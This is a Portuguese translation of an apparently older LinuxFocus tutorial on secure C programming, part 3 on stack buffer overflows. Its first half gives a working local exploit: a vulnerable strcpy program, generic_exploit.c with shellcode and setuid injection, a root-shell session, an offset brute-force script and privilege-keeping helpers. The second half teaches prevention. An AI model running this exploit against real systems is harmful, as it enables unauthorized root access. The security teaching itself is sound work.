<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd"> <HTML> <HEAD> <META name="generator" content="HTML Tidy, see www.w3.org"> <TITLE>Secure programming - Part 3</TITLE> </HEAD> <BODY> <H1>Evitando Falhas de Seguran�a ao desenvolver uma aplica��o - Parte 3: "buffer overflow"</H1> <H4>ArticleCategory:</H4> Software Development <H4>AuthorImage:</H4> <IMG src="../../common/images/FredCrisBCrisG.jpg" alt= "[image of the authors]" width="200" height="150"> <H4>TranslationInfo:</H4> <P>Original in fr <A href= "mailto:pappy@users.sourceforge.net,ccb@club-internet.fr,grenier@nef.esiea.fr"> Frédéric Raynal, Christophe Blaess, Christophe Grenier</A></P> <P>fr to en <A href="mailto:georges.t@linuxfocus.org">Georges Tarbouriech</A></P> <P>en to pt <A href="mailto:bruno@linuxfocus.org">Bruno Sousa</A></P> <H4>AboutTheAuthor:</H4> <P>O Christophe Blaess � um engenheiro aeron�utico independente. Ele � um f�n do Linux e faz muito do seu trabalho neste sistema. Coordena a tradu��o das p�ginas man publicadas no <I>Projecto de Documenta��o do Linux</I>.</P> <P>O Christophe Grenier � um estudante no 5� ano na ESIEA, onde, tamb�m trabalha como administrador de sistema. Tem uma paix�o por seguran�a de computadores.</P> <p>O Frederic Raynal tem utilizado o Linux desde h� alguns anos porque n�o polui, n�o usa hormonas, n�o usa MSG ou farinha animal ... reclama somente o suor e a ast�cia.</p> <H4>Abstract</H4> Neste artigo introduzimos um "buffer overflow" numa aplica��o real. Mostrar-lhe-emos uma falha de seguran�a de f�cil explora��o e o modo como evit�-la. Este artigo parte do pressuposto que j� leu os 2 artigos anteriores: <ul> <li><a href="../January2001/article182.shtml">Evitando falhas de seguran�a ao desenvolver uma aplica��o - Parte 1</a> <li><a href="../March2001/article183.shtml">Evitando falhas de seguran�a ao desenvolver uma aplica��o - Parte 2: mem�ria, pilha e fun��es , c�digo da shell</a> </ul> <H4>ArticleIllustration:[illustration]</H4> <IMG src="../../common/images/illustration183.gif" width="100" height= "100" alt="[article illustration]" hspace="10"> <H4>ArticleBody:[The real article: put the text and html-codes here]</H4> <H3>"Buffer overflows"</H3> <P>No nosso artigo anterior escrevemos um programa pequeno com cerca de 50 bytes e fomos capazes de iniciar a linha de comandos ou sair no caso de erro. Agora devemos inserir este c�digo na aplica��o que queremos atacar. Isto � feito atrav�s da substitui��o do endere�o de retorno de uma fun��o pelo endere�o do c�digo da nossa linha de comandos. Consegue fazer isto for�ando os limites de uma vari�vel autom�tica alocada na pilha do processo. <P>Por exemplo, no programa seguinte copi�mos a string dada no primeiro argumento da linha de comandos para um buffer de 500 bytes. Esta c�pia � feita sem se verificar se � excedido o tamanho do buffer. Como veremos mais tarde o uso da fun��o <CODE>strncpy()</CODE> permite-nos evitar este problema.</P> <PRE> /* vulnerable.c */ #include <string.h> int main(int argc, char * argv []) { char buffer [500]; if (argc > 1) strcpy(buffer, argv[1]); return (0); } </PRE> <P><CODE>buffer</CODE> � uma vari�vel autom�tica, o espa�o utilizado pelos 500 bytes � reservado logo que se entra na fun��o <CODE>main()</CODE>. Ao Correr o programa <CODE>vulnerable</CODE> com um argumento superior a 500 caracteres, os dados excedem a capacidade do buffer e "invade" a pilha do processo. Como vimos anteriormente a pilha guarda o endere�o da pr�xima instru��o a ser executada (tamb�m conhecida como <EM>endere�o de retorno</EM>). Para explorar este buraco de seguran�a basta substituir o endere�o de retorno da fun��o pelo endere�o do c�digo da shell a ser executado. Este c�digo da shell � inserido no corpo do buffer seguido de um endere�o de mem�ria.</P> <H2>Posi��o na mem�ria</H2> <P>Obter o endere�o de mem�ria do c�digo da shell � uma opera��o delicada. Devemos descobrir a "diferen�a" entre o registo <CODE>%esp</CODE>, que aponta para o topo da pilha e o endere�o do c�digo da shell. Para beneficiar de uma margem de seguran�a, o princ�pio do buffer � preenchido com a instru��o assembler <CODE>NOP</CODE>; � uma instru��o de 1 byte neutra, sem qualquer efeito. Ent�o quando o endere�o de in�cio aponta para o endere�o antes do verdadeiro c�digo da shell, o CPU vai de <CODE>NOP</CODE> em <CODE>NOP</CODE> at� alcan�ar o in�cio do nosso c�digo. Para optimizar o nosso desafio pomos o c�digo da shell no meio do buffer, seguido do endere�o de in�cio repetidamente at� ao fim, e precedido de um bloco <CODE>NOP</CODE>. O <A href="#buffer">diagrama 1</A> ilustra isto:</P> <CENTER> <TABLE width="90%" nosave=""> <CAPTION align="BOTTOM"><A name="buffer" href="#buffer">Diag. 1</A> : buffer preenchido de um modo especial para a sua explora��o.</CAPTION> <TR> <TD><IMG src="../../common/images/article190/art_03_01.gif" alt= "[buffer]"></TD> </TR> </TABLE> </CENTER> <BR> <BR> <P><A href="#aligne">O Diagrama 2</A> descreve o estado da pilha antes e depois do overflow. Causando a substitui��o da informa��o salvaguardada (salvo <CODE>%ebp</CODE>, salvo <CODE>%eip</CODE>, argumentos,...) pelo nosso endere�o de retorno esperado: O endere�o de in�cio de uma parte do buffer onde se mete o nosso c�digo da shell.</P> <CENTER> <TABLE width="80%" border="2" cols="2" nosave=""> <CAPTION align="BOTTOM"><A name="avt_apr" href="#avt_apr">Diag. 2</A> : estado da pilha antes e depois do overflow</CAPTION> <TR> <TD> <CENTER><IMG src="../../common/images/article190/pile_bef.gif" alt= "pile_bef.gif"></CENTER> </TD> <TD> <CENTER><IMG src="../../common/images/article190/pile_aft.gif" alt= "pile_aft.gif"></CENTER> </TD> </TR> <TR> <TD> <CENTER>Antes</CENTER> </TD> <TD> <CENTER>Depois</CENTER> </TD> </TR> </TABLE> </CENTER> <BR> <BR> <P>Contudo existe um outro problema relacionado com o alinhamento das vari�veis na pilha. Um endere�o � superior a 1 byte e por isso guardado em v�rios bytes, o que leva a que o alinhamento na pilha n�o se "encaixe" exactamente. Processos de resolu��o de problemas (Trial and error) encontram o alinhamento correcto. Como o nosso CPU utiliza palavras de 4 bytes o alinhamento � 0, 1, 2 ou 3 bytes (verifique <A href="../March2001/article183.shtml">Parte 2 do artigo 183</A> acerca da organiza��o da pilha). No <A href="#aligne">diagrama 3</A>, as partes a cinzento correspondem aos 4 bytes escritos. No primeiro caso onde o endere�o de retorno � completamente substitu�do pelo alinhamento correcto � o �nico que funcionar�. Os outros levam-nos a erros do tipo <CODE>segmentation violation</CODE> ou <CODE>illegal instruction</CODE> Este meio de procura emp�rico trabalha bem visto que os computadores dos nossos dias permitem-nos tal tipo de teste.</P> <CENTER> <TABLE width="90%" nosave=""> <CAPTION align="BOTTOM"><A name="aligne" href="#aligne">Diag. 3</A> : alinhamento poss�vel para as palavras de 4 bytes </CAPTION> <TR> <TD><IMG src="../../common/images/article190/align-en.png" alt= "[align]"></TD> </TR> </TABLE> </CENTER> <H2>Lan�ando o Programa</H2> <P>Vamos agora escrever um programa pequeno para lan�ar uma aplica��o vulner�vel escrevendo dados que excedem a pilha. Este programa disp�e de v�rias op��es para posicionar o c�digo da shell na mem�ria, escolha ent�o um programa a correr. Esta vers�o inspirada no artigo de Aleph One da edi��o 49 da revista <EM>phrack</EM>, est� dispon�vel no site de Christophe Grenier.</P> <P>Como � que enviamos o nosso buffer preparado para a aplica��o de destino ? Normalmente, podemos utilizar um par�metro da linha de comandos como o <CODE>vulnerable.c</CODE> ou uma vari�vel de ambiente. O overflow pode ser causado a partir de linhas digitadas pelo utilizador (algo mais dif�cil) ou lidas a partir de um ficheiro.</P> <P>O programa <CODE>generic_exploit.c</CODE> come�a por alocar o tamanho correcto do buffer, de seguida copia o c�digo da shell e preenche-o com os endere�os e os c�digos NOP, como explicado anteriormente. Depois prepara um array de argumentos e corre a aplica��o de destino utilizando a instru��o <CODE>execve()</CODE>, esta �ltima substitui��o substitu� o processo corrente pelo invocado. O programa <CODE>generic_exploit</CODE> precisa de saber o tamanho do buffer para explorar ( um pouco maior que o seu tamanho para ser capaz de escrever o endere�o de retorno), o tamanho da mem�ria e o alinhamento. Indicamos se o buffer � passado a partir da linha de comandos (<CODE>novar</CODE>) ou se � uma vari�vel de ambiente (<CODE>var</CODE>) O argumento <CODE>force/noforce</CODE> determina se a chamada corre a fun��o <CODE>setuid()/setgid()</CODE> a partir do c�digo da shell.</P> <PRE> <small> /* generic_exploit.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/stat.h> #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\xff\x31\xc0\x88\x46\xff\x89\x46\xff\xb0\x0b" "\x89\xf3\x8d\x4e\xff\x8d\x56\xff\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } #define A_BSIZE 1 #define A_OFFSET 2 #define A_ALIGN 3 #define A_VAR 4 #define A_FORCE 5 #define A_PROG2RUN 6 #define A_TARGET 7 #define A_ARG 8 int main(int argc, char *argv[]) { char *buff, *ptr; char **args; long addr; int offset, bsize; int i,j,n; struct stat stat_struct; int align; if(argc < A_ARG) { printf("USAGE: %s bsize offset align (var / novar) (force/noforce) prog2run target param\n", argv[0]); return -1; } if(stat(argv[A_TARGET],&stat_struct)) { printf("\nCannot stat %s\n", argv[A_TARGET]); return 1; } bsize = atoi(argv[A_BSIZE]); offset = atoi(argv[A_OFFSET]); align = atoi(argv[A_ALIGN]); if(!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() + offset; printf("bsize %d, offset %d\n", bsize, offset); printf("Using address: 0lx%lx\n", addr); for(i = 0; i < bsize; i+=4) *(long*)(&buff[i]+align) = addr; for(i = 0; i < bsize/2; i++) buff[i] = NOP; ptr = buff + ((bsize/2) - strlen(shellcode) - strlen(argv[4])); if(strcmp(argv[A_FORCE],"force")==0) { if(S_ISUID&stat_struct.st_mode) { printf("uid %d\n", stat_struct.st_uid); *(ptr++)= 0x31; /* xorl %eax,%eax */ *(ptr++)= 0xc0; *(ptr++)= 0x31; /* xorl %ebx,%ebx */ *(ptr++)= 0xdb; if(stat_struct.st_uid & 0xFF) { *(ptr++)= 0xb3; /* movb $0x??,%bl */ *(ptr++)= stat_struct.st_uid; } if(stat_struct.st_uid & 0xFF00) { *(ptr++)= 0xb7; /* movb $0x??,%bh */ *(ptr++)= stat_struct.st_uid; } *(ptr++)= 0xb0; /* movb $0x17,%al */ *(ptr++)= 0x17; *(ptr++)= 0xcd; /* int $0x80 */ *(ptr++)= 0x80; } if(S_ISGID&stat_struct.st_mode) { printf("gid %d\n", stat_struct.st_gid); *(ptr++)= 0x31; /* xorl %eax,%eax */ *(ptr++)= 0xc0; *(ptr++)= 0x31; /* xorl %ebx,%ebx */ *(ptr++)= 0xdb; if(stat_struct.st_gid & 0xFF) { *(ptr++)= 0xb3; /* movb $0x??,%bl */ *(ptr++)= stat_struct.st_gid; } if(stat_struct.st_gid & 0xFF00) { *(ptr++)= 0xb7; /* movb $0x??,%bh */ *(ptr++)= stat_struct.st_gid; } *(ptr++)= 0xb0; /* movb $0x2e,%al */ *(ptr++)= 0x2e; *(ptr++)= 0xcd; /* int $0x80 */ *(ptr++)= 0x80; } } /* Patch shellcode */ n=strlen(argv[A_PROG2RUN]); shellcode[13] = shellcode[23] = n + 5; shellcode[5] = shellcode[20] = n + 1; shellcode[10] = n; for(i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; /* Copy prog2run */ printf("Shellcode will start %s\n", argv[A_PROG2RUN]); memcpy(ptr,argv[A_PROG2RUN],strlen(argv[A_PROG2RUN])); buff[bsize - 1] = '\0'; args = (char**)malloc(sizeof(char*) * (argc - A_TARGET + 3)); j=0; for(i = A_TARGET; i < argc; i++) args[j++] = argv[i]; if(strcmp(argv[A_VAR],"novar")==0) { args[j++]=buff; args[j++]=NULL; return execve(args[0],args,NULL); } else { setenv(argv[A_VAR],buff,1); args[j++]=NULL; return execv(args[0],args); } } </small> </PRE> <P>Para beneficiar do <CODE>vulnerable.c</CODE>, devemos ter um buffer maior que o esperado pela aplica��o. Por exemplo seleccionamos 600 bytes em vez dos 500 esperados. Descobrimos o endere�o relativo ao topo da pilha atrav�s de testes sucessivos. O endere�o � constru�do com a instru��o <CODE>addr = get_sp() + offset;</CODE> e a substitui��o do endere�o de retorno � obtido com ... um pouco de sorte ! A opera��o efectuada assenta na heur�stica de que o registo <CODE>%esp</CODE> n�o � muito alterado no decorrer do processo corrente e no processo chamado no fim do programa. Praticamente, nada � certo : v�rios eventos podem modificar o estado da pilha desde o tempo de computa��o ao tempo da chamada da explora��o. Aqui n�s conseguimos activar o "overflow explor�vel" com um offset de -1900 bytes. E claro que para completar a experi�ncia, o c�digo de destino <CODE>vulnerable</CODE> deve ser o Set-UID <EM>root</EM>.</P> <PRE> $ cc vulnerable.c -o vulnerable $ cc generic_exploit.c -o generic_exploit $ su Password: # chown root.root vulnerable # chmod u+s vulnerable # exit $ ls -l vulnerable -rws--x--x 1 root root 11732 Dec 5 15:50 vulnerable $ ./generic_exploit 600 -1900 0 novar noforce /bin/sh ./vulnerable bsize 600, offset -1900 Using address: 0lxbffffe54 Shellcode will start /bin/sh bash# id uid=1000(raynal) gid=100(users) euid=0(root) groups=100(users) bash# exit $ ./generic_exploit 600 -1900 0 novar force /bin/sh /tmp/vulnerable bsize 600, offset -1900 Using address: 0lxbffffe64 uid 0 Shellcode will start /bin/sh bash# id uid=0(root) gid=100(users) groups=100(users) bash# exit </PRE> No primeiro caso (<CODE>noforce</CODE>), o nosso <CODE>uid</CODE> n�o se altera. N�o obstante temos um novo <CODE>euid</CODE> que nos d� todas as permiss�es. Mesmo que o <CODE>vi</CODE> diga, ao editar o ficheiro <CODE>/etc/passwd</CODE> que s� � de leitura, podemos na mesma escrever no ficheiro e todas as altera��es trabalhar�o: (for�ando a salvaguarda com <CODE>:w!</CODE> :) O par�metro <CODE>force</CODE> permite-nos ter o <CODE>uid=euid=0</CODE> desde o in�cio. <P>Para encontrar automaticamente os valores do "offset" para o overflow pode - se utilizar a seguinte pequena shell script:</P> <PRE> #! /bin/sh # find_exploit.sh BUFFER=600 OFFSET=$BUFFER OFFSET_MAX=2000 while [ $OFFSET -lt $OFFSET_MAX ] ; do echo "Offset = $OFFSET" ./generic_exploit $BUFFER $OFFSET 0 novar force /bin/sh ./vulnerable OFFSET=$(($OFFSET + 4)) done </PRE> Na nossa explora��o n�o tivemos em conta os potenciais problemas do alinhamento. Assim sendo � poss�vel que este exemplo n�o funcione consigo para os mesmos valores, ou n�o trabalhe de forma alguma devido ao alinhamento. (De qualquer maneira para os que querem testar, o par�metro do alinhamento tem de ser alterado para 1, 2 ou 3 (aqui, 0). Alguns sistemas n�o suportam a escrita nas �reas de mem�ria n�o sendo uma palavra inteira, o que n�o � verdade para o Linux. <H2>Problemas da(s) Shell(s)</H2> <P>Infelizmente, por vezes a shell obtida torna-se in�til visto que termina por si mesma ou quando se prime uma tecla. Usamos um outro programa para manter os privil�gios que com tanto cuidado adquirimos:</P> <PRE> /* set_run_shell.c */ #include <unistd.h> #include <sys/stat.h> int main() { chown ("/tmp/run_shell", geteuid(), getegid()); chmod ("/tmp/run_shell", 06755); return 0; } </PRE> <P>Visto que o nosso explorador s� � capaz de fazer uma tarefa de cada vez, vamos transferir os direitos ganhos com o programa <CODE>run_shell</CODE>, com a ajuda do programa <CODE>set_run_shell</CODE>. Conquistando a shell desejada.</P> <PRE> /* run_shell.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> int main() { setuid(geteuid()); setgid(getegid()); execl("/tmp/shell","shell","-i",0); exit (0); } </PRE> A Op��o <CODE>-i</CODE> corresponde � <CODE>interactiva</CODE>. Porque n�o atribu�mos os direitos directamente � shell ? Porque nem todas as shell suportam o bit <CODE>s</CODE>. As vers�es mais recentes verificam se o uid � igual ao euid, o mesmo para o gid e egid. Assim a <CODE>bash2</CODE> e a <CODE>tcsh</CODE> incorporam esta linha de defesa, mas nem a <CODE>bash</CODE>, e a <CODE>ash</CODE> o incorporam. Este m�todo tem de ser redefinido quando a parti��o onde a <CODE>run_shell</CODE> est� localizada (aqui, <CODE>/tmp</CODE>) est� montado em <CODE>nosuid</CODE> ou <CODE>noexec</CODE>. <H2>Preven��o</H2> <P>Como temos um programa Set-UID com um bug de buffer overflow e o seu c�digo fonte, somos capazes de preparar um ataque que permite a execu��o do c�digo arbitrariamente sem importar o ID ou dono do ficheiro. Contudo o nosso objectivo � evitar as falhas de seguran�a. Vamos agora examinar algumas regras que previnem o buffer overflow.</P> <H2>Verificando os �ndices</H2> <P>A primeira regra a seguir � uma quest�o de bom senso : os �ndices usados para manipular um vector devem ser verificados cuidadosamente. Um ciclo mal�cioso � algo do tipo :</P> <PRE> for (i = 0; i <= n; i ++) { table [i] = ... </PRE> transporta consigo, provavelmente, um erro devido ao <CODE><=</CODE> em vez de <CODE><</CODE> visto que h� um acesso para al�m do vector. � f�cil de ver isto neste ciclo, contudo � mais dif�cil de detectar quando se utilizam �ndices decrescentes, pois temos que garantir que n�o vamos para al�m do zero. � parte deste caso trivial <CODE>for(i=0; i<n ; i++)</CODE>, deve sempre verificar o algoritmo v�rias vezes (at� mesmo pedir a algu�m para o verificar), em especial quando h� altera��o do �ndice dentro do ciclo. <P>O mesmo tipo de problema encontra-se tamb�m nas strings : deve sempre lembrar-se de adicionar um byte a mais para o caracter null de fim da string. Um dos erros mais comuns dos novatos consiste no esquecimento do caracter de fim das strings. O pior � que � dif�cil de diagnosticar visto que o alinhamento imprevis�vel das vari�veis podem esconder o problema (mesmo compilando com informa��o de debug).</P> <P>N�o subestime a regra dos �ndices relativamente � seguran�a de aplica��o. Vimos (verifique a edi��o 55 da <EM>Phrack</EM>) que um s� byte de overflow � suficiente para provocar uma falha de seguran�a, inserindo o c�digo da shell dentro de uma vari�vel de ambiente, por exemplo. </P> <PRE> #define BUFFER_SIZE 128 void foo(void) { char buffer[BUFFER_SIZE+1]; /* end of string */ buffer[BUFFER_SIZE] = '\0'; for (i = 0; i<BUFFER_SIZE; i++) buffer[i] = ... } </PRE> <H2>Usando as Fun��es n</H2> Por conven��o as fun��es da biblioteca standard do C conseguem lidar com o fim das string devido ao byte null. Por exemplo a fun��o <CODE>strcpy(3)</CODE> copia o conte�do da string original para uma string de destino at� alcan�ar o byte null. Nalguns casos este comportamento � perigoso; vemos que o c�digo seguinte cont�m uma falha de seguran�a : <PRE> #define LG_IDENT 128 int fonction (const char * name) { char identity [LG_IDENT]; strcpy (identity, name); ... } </PRE> Fun��es que limitam o tamanho da c�pia evitam este problema. Estas fun��es t�m um '<CODE>n</CODE>' no meio do seu nome, por exemplo <CODE>strncpy(3)</CODE> como substituta da <CODE>strcpy(3)</CODE>, <CODE>strncat(3)</CODE> para <CODE>strcat(3)</CODE> ou at� mesmo <CODE>strnlen(3)</CODE> para <CODE>strlen(3)</CODE>. <P>Contudo, tem de ter cuidado com a limita��o da <CODE>strncpy(3)</CODE> visto que tem efeitos indesej�veis : quando a string original � mais pequena que a de destino, a c�pia � completada com os caracteres null, at� se atingir o limite <EM>n</EM>, deformando a performance da aplica��o. Por outro lado, se a string de origem � maior, a c�pia ser� truncada e n�o terminar� com o caracter null. T�m de adicionar manualmente. Tendo isto em conta, a rotina anterior ficaria :</P> <PRE> #define LG_IDENT 128 int fonction (const char * name) { char identity [LG_IDENT+1]; strncpy (identity, name, LG_IDENT); identity [LG_IDENT] = '\0'; ... } </PRE> Claro que os mesmos princ�pios se aplicam a caracteres "grandes" (com mais de 8 bits), por exemplo <CODE>wcsncpy(3)</CODE> devia ser preferida em vez de <CODE>wcscpy(3)</CODE> ou <CODE>wcsncat(3)</CODE> em vez de <CODE>wcscat(3)</CODE>. Claro que o programa se torna maior, mas a seguran�a tamb�m aumenta. <P>Como o <CODE>strcpy()</CODE>, o <CODE>strcat(3)</CODE> n�o verificam o tamanho do buffer. A fun��o <CODE>strncat(3)</CODE> adiciona um caracter ao fim da string se encontra espa�o para tal. Substituindo <CODE>strcat(buffer1, buffer2);</CODE> por <CODE>strncat(buffer1, buffer2, sizeof(buffer1)-1);</CODE> eliminamos o risco. </P> <P>O fun��o <CODE>sprintf()</CODE> permite-nos copiar os dados formatados para uma string. T�m tamb�m uma vers�o que verifica o n�mero de bytes a copiar: <CODE>snprintf()</CODE>. Esta fun��o retorna o n�mero de caracteres escritos na string de destino (sem ter em conta o '\0'). Testando os valores retornados � poss�vel saber se a escrita foi ou n�o bem feita : </P> <PRE> if (snprintf(dst, sizeof(dst) - 1, "%s", src) > sizeof(dst) - 1) { /* Overflow */ ... } </PRE> <P>Obviamente, que estas precau��es de nada acrescentam se o utilizador controlar correctamente o n�mero de bytes a copiar. Uma falha de seguran�a no BIND (Berkeley Internet Name Daemon) foi a origem de muitas piratarias :</P> <PRE> struct hosten *hp; unsigned long address; ... /* copy of an address */ memcpy(&address, hp->h_addr_list[0], hp->h_length); ... </PRE> Normalmente deveriam ser copiados 4 bytes. Mas contudo, se conseguir alterar <CODE>hp->h_length</CODE>, ent�o � capaz de alterar a pilha. � imprescind�vel a verifica��o do tamanho dos dados antes de copiar : <PRE> struct hosten *hp; unsigned long address; ... /* test */ if (hp->h_length > sizeof(address)) return 0; /* copy of an address */ memcpy(&address, hp->h_addr_list[0], hp->h_length); ... </PRE> Nalgumas circunst�ncias � imposs�vel de truncar deste modo (caminho, nome da m�quina, URL...) e estas verifica��es t�m de ser feitas mas cedo no programa, logo que os dados s�o inseridos. <H2>Validando os dados em dois passos</H2> Um programa a correr com privil�gios que n�o os do seu utilizador implica uma protec��o de todos os dados e que se considere todos os dados de entrada como suspeitos. <P>Primeiro de tudo, est�o implicadas as rotinas de entrada dos dados. Indo ao encontro do que foi dito, n�o deixamos de insistir que <EM>nunca</EM> utilize a fun��o <CODE>gets(char *array)</CODE> visto que o tamanho n�o � verificado (nota dos autores : esta rotina devia ser proibida pelo compilador para novos compiladores). Existem ainda mais riscos dissimulados na fun��o <CODE>scanf()</CODE>. A linha </P> <PRE> scanf ("%s", string) </PRE> � t�o perigosa como <CODE>gets(char *array)</CODE>, mas n�o � t�o �bvio. Contudo a fam�lia da fun��o <CODE>scanf()</CODE> oferecem mecanismos de controlo no tamanho dos dados : <PRE> char buffer[256]; scanf("%255s", buffer); </PRE> Esta formata��o limita para 255 o n�mero de caracteres copiado para o <CODE>buffer</CODE>. Por outro lado, a fun��o <CODE>scanf()</CODE> rejeita todos os caracteres que n�o lhe agradam (por exemplo uma letra que requer acento), da� que os riscos s�o bastante elevados. <P>Usando o C++, a stream <CODE>cin</CODE> substitui todas as fun��es cl�ssicas utilizadas no C (ainda que as use). O programa seguinte preenche um buffer :</P> <PRE> char buffer[500]; cin>>buffer; </PRE> Como pode ver, ela n�o faz nenhum teste ! Estamos numa situa��o semelhante � fun��o <CODE>gets(char *array)</CODE> aquando do C : eis uma porta amplamente aberta. O membro da fun��o <CODE>ios::width()</CODE> permite fixar o n�mero m�ximo de caracteres a serem lidos. <P>A leitura dos dados requer dois passos. A primeira fase consiste em obter a string com <CODE>fgets(char *array, int size, FILE stream)</CODE>, que limita a �rea da mem�ria utilizada. A seguir os dados lidos s�o formatados atrav�s da fun��o <CODE>sscanf()</CODE> por exemplo. A primeira fase pode fazer mais, <CODE>fgets(char *array, int size, FILE stream)</CODE> como inserindo num ciclo autom�tico a aloca��o da mem�ria requerida, sem limites arbitr�rios. A extens�o Gnu <CODE>getline()</CODE> pode fazer isto por si. � poss�vel incluir a valida��o dos caracteres digitados, usando <CODE>isalnum()</CODE>, <CODE>isprint()</CODE>, etc. A fun��o <CODE>strspn()</CODE> permite um filtro eficaz. O programa fica um pouco mais lento, mas as partes mais sens�veis do programa ficam protegidas por um casaco � prova de balas de dados ilegais .</P> <P>A entrada directa dos dados n�o � o �nico ponto de entrada suscept�vel de ataques. Os ficheiros de dados manipulados pelo software, tamb�m s�o vulner�veis, contudo o c�digo escrito para a sua leitura est� mais bem protegido do que as entradas da consola visto que os programadores n�o confiam no conte�do dos ficheiros fornecidos pelo utilizador.</P> <P>Existe ainda um outro ponto fraco frequentemente explorado nos ataques de buffer overflow : as vari�veis de ambiente. N�o nos devemos esquecer que um programador pode configurar o ambiente do processo antes de o executar. A conven��o diz que uma vari�vel de ambiente deve ser do tipo "<CODE>NAME=VALUE</CODE>" podendo ser explorada por um utilizador mal intencionado. A utiliza��o da rotina <CODE>getenv()</CODE> requer alguma precau��o, especialmente quando � sobre o tamanho da string retornada (arbitrariamente longo) e o seu conte�do (onde pode encontrar algum caracter do tipo, `<CODE>=</CODE>' inclu�do). A vari�vel retornada por <CODE>getenv()</CODE> ser� tratado como se fosse fornecida por <CODE>fgets(char *array, int size, FILE stream)</CODE>, tendo em conta o seu tamanho e validada caracter a caracter.</P> <P>A utiliza��o destes filtros deve ser como o acesso a um computador : por defeito TUDO deve ser proibido ! A seguir � que se d� acesso a algumas coisas :</P> <PRE> #define GOOD "abcdefghijklmnopqrstuvwxyz\ BCDEFGHIJKLMNOPQRSTUVWXYZ\ 1234567890_" char *my_getenv(char *var) { char *data, *ptr /* Getting the data */ data = getenv(var); /* Filtering Rem : obviously the replacement character must be in the list of the allowed ones !!! */ for (ptr = data; *(ptr += strspn(ptr, GOOD));) *ptr = '_'; return data; } </PRE> <P>A fun��o <CODE>strspn()</CODE> torna-o mais f�cil : procura o primeiro caracter que n�o faz parte dos bons caracteres. Retorna o tamanho da string (a come�ar em 0) contendo somente caracteres v�lidos. Nunca deve aplicar a l�gica inversa. N�o valide contra os caracteres que n�o deseja, mas sim contra os "bons" caracteres.</P> <H2>Utilizando buffers din�micos</H2> <P>O Buffer overflow assenta na substitui��o do conte�do de uma vari�vel na pilha e alterando o endere�o de retorno de uma vari�vel. O ataque envolve vari�veis autom�ticas, que s�o somente alocadas na pilha. Um modo de contornar o problema � a substitui��o das tabelas de caracteres alocados na pilha por vari�veis din�micas que se encontram na <EM>fila (heap)</EM>. Aplicando isto, fazemos a substitui��o da sequ�ncia</P> <PRE> #define LG_STRING 128 int fonction (...) { char array [LG_STRING]; ... return (result); } </PRE> por : <PRE> #define LG_STRING 128 int fonction (...) { char *string = NULL; if ((string = malloc (LG_STRING)) == NULL) return (-1); memset(string,'\0',LG_STRING); [...] free (string); return (result); } </PRE> Estas linha alteram o c�digo de uma forma importante e levam a outro risco como a falta de mem�ria, mas devemos aproveitar a vantagem destas modifica��es e evitar a imposi��o de limites arbitr�rios para o tamanho. Adicionemos que pode esperar o mesmo resultado com a fun��o <CODE>alloca()</CODE>. O c�digo � semelhante mas <EM>alloca</EM> aloca os dados na pilha do processo o que nos leva ao mesmo problema das vari�veis autom�ticas. Inicializando a mem�ria a zero utilizando <CODE>memset()</CODE> evita-nos alguns problemas com vari�veis n�o inicializadas. Mas mais uma vez o problema n�o � corrigido a explora��o n�o fica � t�o trivial. Os interessados em continuar com a mat�ria podem ler o artigo acerca de Heap Overflows de w00w00. <P>Por �ltimo, digamos que � poss�vel sobre algumas circunst�ncias obter rapidamente algumas falhas de seguran�a adicionando a palavra <CODE>static</CODE> � declara��o do buffer O compilador aloca esta vari�vel no segmento de dados e n�o na pilha do processo. Torna-se imposs�vel de obter a shell, mas n�o nos resolve o problema de um ataque DoS (Nega��o de Servi�o). Claro que isto n�o trabalhar� se a rotina for chamada recursivamente. A cura tem de ser considerada como um analg�sico, utilizado somente para eliminar uma falha de seguran�a numa emerg�ncia sem alterar muito c�digo.</P> <H2>Conclus�o</H2> Esperamos que esta artigo acerca do buffer overflow o ajude a programar de uma forma mais segura. Mesmo que a t�cnica de explora��o requeira um bom conhecimento do mecanismo, o princ�pio geral est� acess�vel. Por outro lado, implementa��es tendo em conta mecanismos de protec��o n�o s�o assim t�o dif�ceis. N�o se esque�a que � mais r�pido fazer um programa seguro desde na sua fase de desenho do que posteriormente corrigir os bugs. Confirmaremos este princ�pio no nosso pr�ximo artigo acerca de <EM> formata��o de strings</EM>. <H2>Links</H2> <UL> <LI>P�gina de Christophe Blaess : <A href= "http://perso.club-internet.fr/ccb/">perso.club-internet.fr/ccb/</A></LI> <LI>P�gina de Christophe Grenier : <A href= "http://www.esiea.fr/public_html/Christophe.GRENIER/">www.esiea.fr/public_html/Christophe.GRENIER/</A></LI> <LI>P�gina de Frédéric Raynal : <A href= "http://www-rocq.inria.fr/~raynal/">www-rocq.inria.fr/~raynal/</A></LI> <LI>Phrack Magazine : <A href= "http://phrack.infonexus.com/">phrack.infonexus.com/</A>.</LI> <LI>Heap overflow : <A href= "http://www.w00w00.org/files/articles/heaptut.txt">www.w00w00.org/files/articles/heaptut.txt</A></LI> </UL> </BODY> </HTML>